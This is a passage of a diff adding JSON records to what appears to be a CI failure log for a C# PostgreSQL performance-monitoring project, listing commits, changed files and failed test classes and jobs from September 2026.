s.StragglerCommandTimeoutTests"],"failed_jobs":["build","Darling PG tests (1)","Darling PG tests (0)"]}
+{"date":"2026-09-23","head_sha":"11d7e8b947a81061534dd88975d5be26942afa60","event":"pull_request","changed_files":["Darling/Darling.Tests/PgBinaryTailTextTests.cs","Darling/Darling.Tests/PgReadBinaryFileAdvisoryTests.cs","Darling/Darling.Tests/PgReadBinaryFileCapabilityLiveTests.cs","Darling/Darling.Tests/PgReadBinaryFileCapabilityTests.cs","Darling/Darling.Tests/PgReadBinaryFileStaticsCollection.cs","Darling/Darling.Tests/PgServerLogTailBinaryRouteTests.cs","Darling/Darling.Tests/PostgresFaultOutcomeTests.cs","Darling/Darling.Tests/RdsDeadlockIngestorTests.cs","Darling/Darling.Tests/RdsLogEventIngestorTimezoneTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingCollectorRunner.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWorker.cs","Darling/PerformanceMonitor.Darling.Service/Targets/RdsDeadlockIngestor.cs","Darling/PerformanceMonitor.Darling.Service/Targets/RdsIngestOutcome.cs","Darling/PerformanceMonitor.Darling.Service/Targets/RdsLogEventIngestor.cs","Darling/README.md","PerformanceMonitor.Collectors/CollectorContext.cs","PerformanceMonitor.Collectors/PgBinaryTailText.cs","PerformanceMonitor.Collectors/PgDeadlockLogParser.cs","PerformanceMonitor.Collectors/PgDeadlocksCollector.cs","PerformanceMonitor.Collectors/PgLogEventsCollector.cs","PerformanceMonitor.Collectors/PgPlanCaptureCollector.cs","PerformanceMonitor.Collectors/PgReadBinaryFileAdvisory.cs","PerformanceMonitor.Collectors/PgReadBinaryFileCapability.cs","PerformanceMonitor.Collectors/PgServerLogTail.cs","docs/postgres-first-target-runbook.md","tools/pg-verification-rig/README.md"],"failed_classes":["Darling.Tests.DocCommentHygieneTests","Darling.Tests.LiveCleanupConversionRatchetTests"],"failed_jobs":["build","Darling PG tests (1)","Darling PG tests (2)"]}
+{"date":"2026-09-23","head_sha":"8c00707258b71d93b652eac9c336338d56945330","event":"pull_request","changed_files":["Darling/Darling.Tests/DarlingFileSecurityTests.cs","Darling/Darling.Tests/DarlingInstallLocationTests.cs","Darling/Darling.Tests/DarlingServiceInstallLocationTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingInstallLocation.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWorker.cs","Darling/README.md","Darling/tools/install-darling.ps1","Darling/tools/upgrade-darling.ps1","docs/retention-hold-runbook.md","docs/uat-onboarding.md"],"failed_classes":["Darling.Tests.DarlingInstallLocationTests"],"failed_jobs":["build","Darling PG tests (0)"]}
+{"date":"2026-09-23","head_sha":"f2d14d628270342a21ef2571edb4dfd824335d97","event":"pull_request","changed_files":["Darling/Darling.Tests/DarlingFileSecurityTests.cs","Darling/Darling.Tests/DarlingInstallLocationTests.cs","Darling/Darling.Tests/DarlingServiceInstallLocationTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingInstallLocation.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWorker.cs","Darling/README.md","Darling/tools/install-darling.ps1","Darling/tools/upgrade-darling.ps1","docs/retention-hold-runbook.md","docs/uat-onboarding.md"],"failed_classes":["Darling.Tests.DarlingInstallLocationTests"],"failed_jobs":["build","Darling PG tests (0)"]}
+{"date":"2026-09-23","head_sha":"b7136a99088b383ba9657251bc6537ad6f95483c","event":"pull_request","changed_files":["Darling/Darling.Tests/DocCommentHygieneTests.cs","Darling/Darling.Tests/PgBinaryTailTextTests.cs","Darling/Darling.Tests/PgReadBinaryFileAdvisoryTests.cs","Darling/Darling.Tests/PgReadBinaryFileCapabilityLiveTests.cs","Darling/Darling.Tests/PgReadBinaryFileCapabilityTests.cs","Darling/Darling.Tests/PgReadBinaryFileStaticsCollection.cs","Darling/Darling.Tests/PgServerLogTailBinaryRouteTests.cs","Darling/Darling.Tests/PostgresFaultOutcomeTests.cs","Darling/Darling.Tests/RdsDeadlockIngestorTests.cs","Darling/Darling.Tests/RdsLogEventIngestorTimezoneTests.cs","Darling/Darling.Tests/RdsLogTimezoneReadLiveTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingCollectorRunner.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWorker.cs","Darling/PerformanceMonitor.Darling.Service/Targets/RdsDeadlockIngestor.cs","Darling/PerformanceMonitor.Darling.Service/Targets/RdsIngestOutcome.cs","Darling/PerformanceMonitor.Darling.Service/Targets/RdsLogEventIngestor.cs","Darling/README.md","PerformanceMonitor.Collectors/CollectorContext.cs","PerformanceMonitor.Collectors/PgBinaryTailText.cs","PerformanceMonitor.Collectors/PgDeadlockLogParser.cs","PerformanceMonitor.Collectors/PgDeadlocksCollector.cs","PerformanceMonitor.Collectors/PgLogEventsCollector.cs","PerformanceMonitor.Collectors/PgPlanCaptureCollector.cs","PerformanceMonitor.Collectors/PgReadBinaryFileAdvisory.cs","PerformanceMonitor.Collectors/PgReadBinaryFileCapability.cs","PerformanceMonitor.Collectors/PgServerLogTail.cs","docs/postgres-first-target-runbook.md","tools/pg-verification-rig/README.md"],"failed_classes":["Darling.Tests.StoreCopyPhaseTests"],"failed_jobs":["build","Darling PG tests (1)"]}
+{"date":"2026-09-23","head_sha":"ff0f436e5993a76f70f93b4019e51a8f398a6cd5","event":"pull_request","changed_files":["Darling/Darling.Tests/DarlingCustomViewsTests.cs","Darling/Darling.Tests/DarlingMcpDataToolsTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWebEndpoints.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingDataReader.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpDataTools.cs","Lite.Tests/QueryStoreDedupReadTests.cs","Lite/Mcp/McpQueryTools.cs","Lite/Services/LocalDataService.QueryStore.cs"],"failed_classes":["Darling.Tests.McpToolsListBudgetTests","Lite.Tests.McpToolsListBudgetTests"],"failed_jobs":["build","Lite tests (2)","Darling PG tests (1)"]}
+{"date":"2026-09-23","head_sha":"2843f3dd08e9fa9735304a3cfafc39df6e8e8e34","event":"pull_request","changed_files":["Darling/Darling.Tests/DarlingCustomViewsTests.cs","Darling/Darling.Tests/DarlingMcpDataToolsTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWebEndpoints.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingDataReader.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpDataTools.cs","Lite.Tests/QueryStoreDedupReadTests.cs","Lite/Mcp/McpQueryTools.cs","Lite/Services/LocalDataService.QueryStore.cs"],"failed_classes":["Darling.Tests.McpPayloadContractCensusTests","Darling.Tests.McpToolsListBudgetTests","Lite.Tests.McpToolsListBudgetTests"],"failed_jobs":["Darling PG tests (1)","build","Lite tests (2)","Darling PG tests (0)"]}
+{"date":"2026-09-23","head_sha":"fbc27f9ad9898ebeab4a95917fe9f37a3a1b4b34","event":"pull_request","changed_files":["Darling/Darling.Tests/McpToolGuideHeads.Alerting.cs","Darling/Darling.Tests/McpToolsListBudget/DarlingMcpAlertTools.txt","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpAlertTools.cs","Lite.Tests/McpToolGuideHeads.Alerting.cs","Lite.Tests/McpToolsListBudget/McpAlertTools.txt","Lite/Mcp/McpAlertTools.cs"],"failed_classes":["Darling.Tests.McpToolsListBudgetTests"],"failed_jobs":["Darling PG tests (1)"]}
+{"date":"2026-09-23","head_sha":"777cd9801fa5a285be9c37000cc0bb02a077ab6b","event":"pull_request","changed_files":["Darling/Darling.Tests/DarlingCustomViewsTests.cs","Darling/Darling.Tests/DarlingMcpDataToolsTests.cs","Darling/Darling.Tests/McpFilterSemanticsLivePostgresTests.cs","Darling/Darling.Tests/McpPayloadContractCensusTests.cs","Darling/Darling.Tests/McpToolsListBudget/DarlingMcpDataTools.txt","Darling/Darling.Tests/McpToolsListBudgetTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWebEndpoints.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingDataReader.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpDataTools.cs","Lite.Tests/McpToolsListBudget/McpQueryTools.txt","Lite.Tests/McpToolsListBudgetTests.cs","Lite.Tests/QueryStoreDedupReadTests.cs","Lite/Mcp/McpQueryTools.cs","Lite/Services/LocalDataService.QueryStats.cs","Lite/Services/LocalDataService.QueryStore.cs"],"failed_classes":["Darling.Tests.ConsumedTimestampFrameDisciplineTests"],"failed_jobs":["Darling PG tests (2)","build","Darling PG tests (0)"]}
+{"date":"2026-09-23","head_sha":"2c1085b073a01d7174c61941e92c44a202622114","event":"pull_request","changed_files":["Darling/Darling.Tests/McpToolGuideHeads.SqlCore.cs","Darling/Darling.Tests/McpToolsListBudget/DarlingMcpTools.txt","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpTools.cs","Lite.Tests/McpToolGuideHeads.SqlCore.cs","Lite.Tests/McpToolsListBudget/McpAnalysisTools.txt","Lite/Mcp/McpAnalysisTools.cs"],"failed_classes":["Darling.Tests.DocCommentHygieneTests"],"failed_jobs":["build","Darling PG tests (1)"]}
+{"date":"2026-09-23","head_sha":"135eb2acca3f541867f7d0540f8b77b9e56f9d9f","event":"pull_request","changed_files":["PerformanceMonitor.Collectors/PgDeadlocksCollector.cs","PerformanceMonitor.Collectors/PgPlanCaptureCollector.cs"],"failed_classes":["Darling.Tests.PgLogEventsPipelineTests"],"failed_jobs":["Darling PG tests (0)","build"]}
+{"date":"2026-09-24","head_sha":"dbfce0d99588ce3f06c13eb1cdbc580c540d6504","event":"pull_request","changed_files":["Darling/Darling.Tests/CheckpointsTimedRungTests.cs","Darling/Darling.Tests/PostmasterStartTimeRungTests.cs","Darling/Darling.Tests/StoreToastAndCheckpointerTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingSelfAlertEvaluator.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpStoreMetricsTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingStoreMetricsReader.cs","Darling/PerformanceMonitor.Darling.Storage/PgMigrations.cs","Darling/PerformanceMonitor.Darling.Storage/StorageVersion.cs","Darling/PerformanceMonitor.Darling.Storage/StoreSelfMetrics.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.cs"],"failed_classes":["Darling.Tests.PostmasterStartTimeLivePostgresTests"],"failed_jobs":["Darling PG tests (0)"]}
+{"date":"2026-09-24","head_sha":"5acfbb1a34f6bd5f22f838c027cb0348d116c23c","event":"pull_request","changed_files":["Darling/tools/install-darling.ps1","Darling/tools/upgrade-darling.ps1"],"failed_classes":["Darling.Tests.DarlingInstallLocationTests"],"failed_jobs":["Darling PG tests (0)","build"]}
+{"date":"2026-09-24","head_sha":"3c9d27c4f78f132fcf82ed76eb0fa8679a668f94","event":"pull_request","changed_files":["Darling/Darling.Tests/DarlingMcpConfigHistoryToolsTests.cs","Darling/Darling.Tests/McpToolGuideHeads.SqlTail.cs","Darling/Darling.Tests/McpToolsListBudget/DarlingMcpConfigHistoryTools.txt","Darling/Darling.Tests/McpToolsListBudget/DarlingMcpDefaultTraceTools.txt","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpConfigHistoryTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpDefaultTraceTools.cs","Lite.Tests/McpToolGuideHeads.SqlTail.cs","Lite.Tests/McpToolsListBudget/McpConfigTools.txt","Lite.Tests/McpToolsListBudget/McpDefaultTraceTools.txt","Lite.Tests/QueryStoreHealthCaptureModePublishTests.cs","Lite/Mcp/McpConfigTools.cs","Lite/Mcp/McpDefaultTraceTools.cs"],"failed_classes":["Darling.Tests.McpToolsListBudgetTests"],"failed_jobs":["build"]}
+{"date":"2026-09-24","head_sha":"e673e9f52070516096ddf0723d31ac8af1e806b3","event":"pull_request","changed_files":["Darling/Darling.Tests/DarlingInstallLocationTests.cs","Darling/tools/install-darling.ps1","Darling/tools/upgrade-darling.ps1"],"failed_classes":["Darling.Tests.DarlingInstallLocationTests"],"failed_jobs":["build","Darling PG tests (0)"]}
+{"date":"2026-09-24","head_sha":"d3b1815702e2d143e43a84980ecc14b6825bdb9d","event":"pull_request","changed_files":["Darling/Darling.Tests/DarlingInstallLocationTests.cs","Darling/tools/install-darling.ps1","Darling/tools/upgrade-darling.ps1"],"failed_classes":["Darling.Tests.DarlingInstallLocationTests"],"failed_jobs":["build","Darling PG tests (0)"]}
+{"date":"2026-09-24","head_sha":"1e7169a66f70a75766b6a1a6c9200d71277b9540","event":"pull_request","changed_files":["Darling/Darling.Tests/PgLogEventsPipelineTests.cs","Darling/Darling.Tests/PgPlanCaptureLiveTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingCollectorRunner.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWorker.cs","PerformanceMonitor.Collectors/PgDeadlocksCollector.cs","PerformanceMonitor.Collectors/PgPlanCaptureCollector.cs"],"failed_classes":["Darling.Tests.CollectorMeasurementSeamTests","Darling.Tests.McpToolsListBudgetTests"],"failed_jobs":["build","Darling PG tests (0)"]}
+{"date":"2026-09-24","head_sha":"8ab99c7b585b446016432a950efe3d8adea6b6fa","event":"pull_request","changed_files":["Darling/Darling.Tests/McpToolGuideHeads.SqlTail.cs","Darling/Darling.Tests/McpToolsListBudget/DarlingMcpMemoryGrantTools.txt","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpMemoryGrantTools.cs","Lite.Tests/McpToolGuideHeads.SqlTail.cs","Lite.Tests/McpToolsListBudget/McpMemoryTools.txt","Lite/Mcp/McpMemoryTools.cs","PerformanceMonitor.Common/Mcp/McpToolGuideTopics.SqlTail.cs"],"failed_classes":["Darling.Tests.McpToolsListBudgetTests"],"failed_jobs":["build"]}
+{"date":"2026-09-24","head_sha":"8afd015dbdccf1c9027e6e9e17c61763c898f690","event":"pull_request","changed_files":["Darling/Darling.Tests/DarlingInstallLocationTests.cs","Darling/tools/install-darling.ps1","Darling/tools/upgrade-darling.ps1"],"failed_classes":["Darling.Tests.DarlingInstallLocationTests"],"failed_jobs":["build","Darling PG tests (0)"]}
+{"date":"2026-09-24","head_sha":"a4583d1d4830ffa76bd459a9e0a5ac746bee2242","event":"pull_request","changed_files":["Darling/Darling.Tests/DarlingInstallLocationTests.cs","Darling/tools/install-darling.ps1","Darling/tools/upgrade-darling.ps1"],"failed_classes":["Darling.Tests.DarlingInstallLocationTests"],"failed_jobs":["build","Darling PG tests (0)"]}
+{"date":"2026-09-24","head_sha":"ffa1aecf27a2142633e0a4f120468a984f761559","event":"pull_request","changed_files":["Darling/Darling.Tests/DarlingMcpMemoryGrantToolsTests.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpMemoryGrantTools.cs","Lite.Tests/McpLatestSnapshotStampTests.cs","Lite/Mcp/McpMemoryTools.cs"],"failed_classes":["Darling.Tests.McpToolsListBudgetTests"],"failed_jobs":["build"]}
+{"date":"2026-09-24","head_sha":"353f632c1a31ebeaa4f2879f864b9bab9b8ca526","event":"pull_request","changed_files":["Darling/Darling.Tests/McpToolGuideHeads.SqlCore.cs","Darling/Darling.Tests/McpToolsListBudget/DarlingMcpSessionTools.txt","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpSessionTools.cs","Lite.Tests/McpToolGuideHeads.SqlCore.cs","Lite.Tests/McpToolsListBudget/McpSessionTools.txt","Lite/Mcp/McpSessionTools.cs"],"failed_classes":["Darling.Tests.McpToolsListBudgetTests"],"failed_jobs":["build"]}
+{"date":"2026-09-24","head_sha":"5d8a9513ee1c55441b5abd8dd4b5f76f71c5f88d","event":"pull_request","changed_files":["Darling/Darling.Tests/DocCommentHygieneTests.cs","Darling/Darling.Tests/PgBinaryTailTextTests.cs","Darling/Darling.Tests/PgReadBinaryFileAdvisoryTests.cs","Darling/Darling.Tests/PgReadBinaryFileCapabilityLiveTests.cs","Darling/Darling.Tests/PgReadBinaryFileCapabilityTests.cs","Darling/Darling.Tests/PgServerEncodingTests.cs","Darling/Darling.Tests/PostgresFaultOutcomeTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingCollectorRunner.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWorker.cs","Darling/README.md","PerformanceMonitor.Collectors/CollectorContext.cs","PerformanceMonitor.Collectors/PgBinaryTailText.cs","PerformanceMonitor.Collectors/PgDeadlocksCollector.cs","PerformanceMonitor.Collectors/PgLogEventsCollector.cs","PerformanceMonitor.Collectors/PgPlanCaptureCollector.cs","PerformanceMonitor.Collectors/PgReadBinaryFileCapability.cs","PerformanceMonitor.Collectors/PgServerEncoding.cs"],"failed_classes":["Darling.Tests.McpToolsListBudgetTests"],"failed_jobs":["build"]}
+{"date":"2026-09-24","head_sha":"5a3c5d14c60d24580ab6e34b6c85c1c0ad722b02","event":"pull_request","changed_files":["Darling/Darling.Tests/DarlingInstallLocationTests.cs"],"failed_classes":["Darling.Tests.McpToolsListBudgetTests"],"failed_jobs":["build"]}
+{"date":"2026-09-24","head_sha":"00f09a2d81441c8fd7487706a3b09d94006b8c6b","event":"pull_request","changed_files":["Darling/Darling.Tests/McpToolGuideHeads.AnalyzeQueryPlan.cs","Darling/Darling.Tests/McpToolsListBudget/DarlingMcpPlanTools.txt","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpPlanTools.cs","Lite.Tests/McpToolGuideHeads.AnalyzeQueryPlan.cs","Lite.Tests/McpToolsListBudget/McpPlanTools.txt","Lite/Mcp/McpPlanTools.cs"],"failed_classes":["Darling.Tests.DocCommentHygieneTests"],"failed_jobs":["Darling PG tests (1)","build"]}
+{"date":"2026-09-24","head_sha":"11729239b1e7fc70215a9f62d3464009e6df403c","event":"pull_request","changed_files":["Darling/Darling.Tests/McpToolGuideHeads.Spinlock.cs","Darling/Darling.Tests/McpToolsListBudget/DarlingMcpLatchSpinlockTools.txt","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpLatchSpinlockTools.cs","Lite.Tests/McpToolGuideHeads.Spinlock.cs","Lite.Tests/McpToolsListBudget/McpLatchSpinlockTools.txt","Lite/Mcp/McpLatchSpinlockTools.cs"],"failed_classes":["Darling.Tests.XminHorizonPersistenceReadTests"],"failed_jobs":["Darling PG tests (1)"]}
+{"date":"2026-09-24","head_sha":"f1f71ae3be3edc170789d37ce11e3b0aa57798fa","event":"pull_request","changed_files":["Darling/PerformanceMonitor.Darling.Service/Targets/RdsLogEventIngestor.cs","Darling/PerformanceMonitor.Darling.Service/Targets/RdsLogSource.cs"],"failed_classes":["Darling.Tests.RdsLogEventIngestorCsvlogTests"],"failed_jobs":["Darling PG tests (2)","build"]}
+{"date":"2026-09-24","head_sha":"6ec704afa9efb30b9f0212ca2bede57e4c325be4","event":"push","changed_files":["Darling/Darling.Tests/RdsDeadlockIngestorTests.cs","Darling/Darling.Tests/RdsLogEventIngestorCsvlogTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingCollectorRunner.cs","Darling/PerformanceMonitor.Darling.Service/Targets/RdsCsvlogCarry.cs","Darling/PerformanceMonitor.Darling.Service/Targets/RdsDeadlockIngestor.cs","Darling/PerformanceMonitor.Darling.Service/Targets/RdsLogEventIngestor.cs","PerformanceMonitor.Collectors/PgDeadlocksCollector.cs"],"failed_classes":["Darling.Tests.XminHorizonPersistenceReadTests"],"failed_jobs":["Darling PG tests (1)"]}
+{"date":"2026-09-24","head_sha":"a52f09cda3931d58f0554998ec503bb6283c292e","event":"pull_request","changed_files":["Darling/Darling.Tests/DarlingCoreToolProfileTests.cs","Darling/Darling.Tests/DarlingMcpLatchSpinlockToolsTests.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingLatchSpinlockReader.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpTools.cs","Lite/Mcp/McpAnalysisTools.cs","PerformanceMonitor.Analysis/FactAdvice.cs","deprecated/Dashboard.Tests/FactAdviceCorrectnessTests.cs","deprecated/Dashboard/Mcp/McpAnalysisTools.cs","deprecated/Dashboard/Services/DatabaseService.ResourceMetrics.LatchSpinlock.cs"],"failed_classes":["Darling.Tests.DarlingMcpLatchSpinlockToolsLivePostgresTests"],"failed_jobs":["Darling PG tests (1)"]}
+{"date":"2026-09-24","head_sha":"841ea4e9ddbe22fec0ac39cb093aa5b102a11f3c","event":"pull_request","changed_files":["Darling/PerformanceMonitor.Darling.Analysis/PgAnomalyDetector.cs","PerformanceMonitor.Analysis/AnomalyGate.cs","PerformanceMonitor.Analysis/Baselines/AnomalyThresholds.cs"],"failed_classes":["Darling.Tests.DarlingAnomalyBaselineTests"],"failed_jobs":["build","Darling PG tests (0)"]}
+{"date":"2026-09-24","head_sha":"c462a969c7c91725d0a917834f659fa1a0d20620","event":"pull_request","changed_files":["Darling/Darling.Tests/PgDeadlockRaiseShapedUnitTests.cs","Darling/Darling.Tests/PgLogEntryProvenanceTests.cs","Darling/Darling.Tests/PgPlanCaptureRaiseShapedUnitTests.cs","Darling/Darling.Tests/RdsDeadlockIngestorTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingCollectorRunner.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWorker.cs","Darling/PerformanceMonitor.Darling.Service/Targets/RdsDeadlockIngestor.cs","Darling/PerformanceMonitor.Darling.Service/Targets/RdsIngestOutcome.cs","PerformanceMonitor.Collectors/PerformanceMonitor.Collectors.csproj","PerformanceMonitor.Collectors/PgDeadlockLogParser.cs","PerformanceMonitor.Collectors/PgDeadlocksCollector.cs","PerformanceMonitor.Collectors/PgLogEntry.cs","PerformanceMonitor.Collectors/PgLogEntryProvenance.cs","PerformanceMonitor.Collectors/PgPlanCaptureCollector.cs","PerformanceMonitor.Collectors/PgServerLogCsvParser.cs","PerformanceMonitor.Collectors/PgServerLogJsonParser.cs"],"failed_classes":["Darling.Tests.CollectorMeasurementSeamTests"],"failed_jobs":["build","Darling PG tests (0)"]}
+{"date":"2026-09-24","head_sha":"77e66c96d20994a2c689d018babc0976a5f972a6","event":"pull_request","changed_files":["Darling/Darling.Tests/ViewerCollectionCaveatsTests.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.CollectionHealth.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.CollectionHealth.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.xaml"],"failed_classes":["Darling.Tests.ViewerCollectionCaveatsLivePostgresTests"],"failed_jobs":["Darling PG tests (1)"]}
+{"date":"2026-09-24","head_sha":"a751513e14339d2cc0da9b3caa5dc6c0e5b6bcf4","event":"pull_request","changed_files":["Darling/Darling.Tests/PgDeadlockRaiseShapedUnitTests.cs","Darling/Darling.Tests/PgLogEntryProvenanceTests.cs","Darling/Darling.Tests/PgPlanCaptureRaiseShapedUnitTests.cs","Darling/Darling.Tests/PgRaiseShapedRecordsLiveTests.cs","Darling/Darling.Tests/RdsDeadlockIngestorTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingCollectorRunner.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWorker.cs","Darling/PerformanceMonitor.Darling.Service/Targets/RdsDeadlockIngestor.cs","Darling/PerformanceMonitor.Darling.Service/Targets/RdsIngestOutcome.cs","PerformanceMonitor.Collectors/PerformanceMonitor.Collectors.csproj","PerformanceMonitor.Collectors/PgDeadlockLogParser.cs","PerformanceMonitor.Collectors/PgDeadlocksCollector.cs","PerformanceMonitor.Collectors/PgLogEntry.cs","PerformanceMonitor.Collectors/PgLogEntryProvenance.cs","PerformanceMonitor.Collectors/PgPlanCaptureCollector.cs","PerformanceMonitor.Collectors/PgServerLogCsvParser.cs","PerformanceMonitor.Collectors/PgServerLogJsonParser.cs"],"failed_classes":["Darling.Tests.CollectorMeasurementSeamTests"],"failed_jobs":["build","Darling PG tests (0)"]}
+{"date":"2026-09-24","head_sha":"bcaaf9b190968038afb0ddd9d7fd34f8eee499bd","event":"pull_request","changed_files":["Darling/Darling.Tests/ViewerCollectionCaveatsTests.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.CollectionHealth.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.CollectionHealth.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.Postgres.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.xaml"],"failed_classes":["Darling.Tests.ViewerCollectionCaveatsLivePostgresTests"],"failed_jobs":["Darling PG tests (1)"]}
+{"date":"2026-09-24","head_sha":"62ae815c1d4a107ede861f351f78b8ea8c1bb82c","event":"pull_request","changed_files":[".github/workflows/build.yml"],"failed_classes":["Darling.Tests.CiClusterWorkerSizingTests"],"failed_jobs":["Darling PG tests (2)","build","Darling whole-tree guards"]}
+{"date":"2026-09-24","head_sha":"7fc674875a3b3872a41a063586ca347cedb4b3e9","event":"pull_request","changed_files":["Darling/Darling.Tests/LocalClockBucketKeyTests.cs","Lite.Tests/LocalClockBucketKeyTests.cs"],"failed_classes":["PerformanceMonitorLite.Tests.LocalClockBucketKeyTests"],"failed_jobs":["Lite tests (2)"]}
+{"date":"2026-09-24","head_sha":"22e3803f2785d9938741bd5564988525663e88c2","event":"pull_request","changed_files":["Darling/Darling.Tests/LocalClockBucketKeyTests.cs","Darling/PerformanceMonitor.Darling.Analysis/PgBaselineProvider.cs","Lite.Tests/LocalClockBucketKeyTests.cs","Lite/Analysis/BaselineProvider.cs"],"failed_classes":["Darling.Tests.ComposeStoreRolesLiveTests","PerformanceMonitorLite.Tests.LocalClockBucketKeyTests"],"failed_jobs":["Lite tests (2)","Darling PG tests (1)"]}
+{"date":"2026-09-24","head_sha":"ad89ad83a7cee8cec5acca50ccc166a483ad0778","event":"pull_request","changed_files":["Darling/PerformanceMonitor.Darling.Analysis/PgTargetAnomalyDetector.Blocking.cs","Darling/PerformanceMonitor.Darling.Analysis/PgTargetAnomalyDetector.Io.cs","Darling/PerformanceMonitor.Darling.Analysis/PgTargetAnomalyDetector.Replication.cs"],"failed_classes":["Darling.Tests.PgTargetAnomalyTests","Darling.Tests.PgTargetBetweenWavesV2Tests","Darling.Tests.PgTargetBlockingTests","Darling.Tests.PgTargetIoTests","Darling.Tests.SharedBaselineCacheLiveTests","PerformanceMonitorLite.Tests.LocalClockBucketKeyTests"],"failed_jobs":["Darling PG tests (1)","build","Darling PG tests (0)","Darling PG tests (2)","Lite tests (2)"]}
+{"date":"2026-09-24","head_sha":"08ca596e6508ab4eabb6ff21676dd2717b17f52c","event":"pull_request","changed_files":["Darling/PerformanceMonitor.Darling.Analysis/PgTargetAnomalyDetector.cs"],"failed_classes":["Darling.Tests.DocCommentHygieneTests","Darling.Tests.PgTargetAnomalyTests","Darling.Tests.PgTargetSampledWaitTests","Darling.Tests.PgTargetSessionsTests","Darling.Tests.SharedBaselineCacheLiveTests","PerformanceMonitorLite.Tests.LocalClockBucketKeyTests"],"failed_jobs":["Darling PG tests (2)","Darling PG tests (0)","build","Lite tests (2)","Darling PG tests (1)"]}
+{"date":"2026-09-24","head_sha":"d064b8ebc5d52997af9850e5c2b65e553fe1d658","event":"pull_request","changed_files":["Darling/PerformanceMonitor.Darling.Analysis/PgAnomalyDetector.cs"],"failed_classes":["Darling.Tests.DarlingAnomalyBaselineTests","PerformanceMonitorLite.Tests.LocalClockBucketKeyTests"],"failed_jobs":["build","Darling PG tests (0)","Lite tests (2)"]}
+{"date":"2026-09-24","head_sha":"1e9c8ce764c676d7697a99e97f0e40f5bf9f6755","event":"pull_request","changed_files":["Darling/Darling.Tests/PgTargetAnomalyTests.cs","Darling/Darling.Tests/PgTargetBetweenWavesV2Tests.cs"],"failed_classes":["Darling.Tests.PgTargetBlockingTests","Darling.Tests.PgTargetIoTests","Darling.Tests.SharedBaselineCacheLiveTests","PerformanceMonitorLite.Tests.LocalClockBucketKeyTests"],"failed_jobs":["Darling PG tests (1)","Darling PG tests (2)","Lite tests (2)"]}
+{"date":"2026-09-24","head_sha":"95a42dab2dc799da7f0b90eb642cfd8485a89b80","event":"pull_request","changed_files":["Darling/PerformanceMonitor.Darling.Analysis/PgTargetAnomalyDetector.cs"],"failed_classes":["Darling.Tests.DocCommentHygieneTests","Darling.Tests.PgTargetAnomalyTests","Darling.Tests.PgTargetSessionsTests","Darling.Tests.SharedBaselineCacheLiveTests","PerformanceMonitorLite.Tests.LocalClockBucketKeyTests"],"failed_jobs":["Darling PG tests (0)","Darling PG tests (1)","Darling PG tests (2)","build","Lite tests (2)"]}
+{"date":"2026-09-24","head_sha":"52b659cee2a30f34aff7f87cae1bedce1889df3d","event":"pull_request","changed_files":["Lite/Analysis/AnomalyDetector.cs"],"failed_classes":["Darling.Tests.DarlingAnomalyBaselineTests","PerformanceMonitorLite.Tests.AnomalyDetectorTests"],"failed_jobs":["build","Lite tests (2)"]}
+{"date":"2026-09-24","head_sha":"f7f0dee46734b4b5742825a8e2820fa188c005c8","event":"pull_request","changed_files":["Darling/PerformanceMonitor.Darling.Analysis/PgTargetAnomalyDetector.cs"],"failed_classes":["Darling.Tests.SharedBaselineCacheLiveTests"],"failed_jobs":["Darling PG tests (1)"]}
+{"date":"2026-09-24","head_sha":"3a7e6cf3b725bf5fcaf07de58ba69b3d9d2e3ecf","event":"pull_request","changed_files":["Darling/Darling.Tests/PgTargetBlockingTests.cs","Darling/PerformanceMonitor.Darling.Analysis/PgTargetAnomalyDetector.Blocking.cs","Darling/PerformanceMonitor.Darling.Analysis/PgTargetAnomalyDetector.Io.cs","Darling/PerformanceMonitor.Darling.Analysis/PgTargetAnomalyDetector.Replication.cs"],"failed_classes":["Darling.Tests.SharedBaselineCacheLiveTests"],"failed_jobs":["Darling PG tests (1)"]}
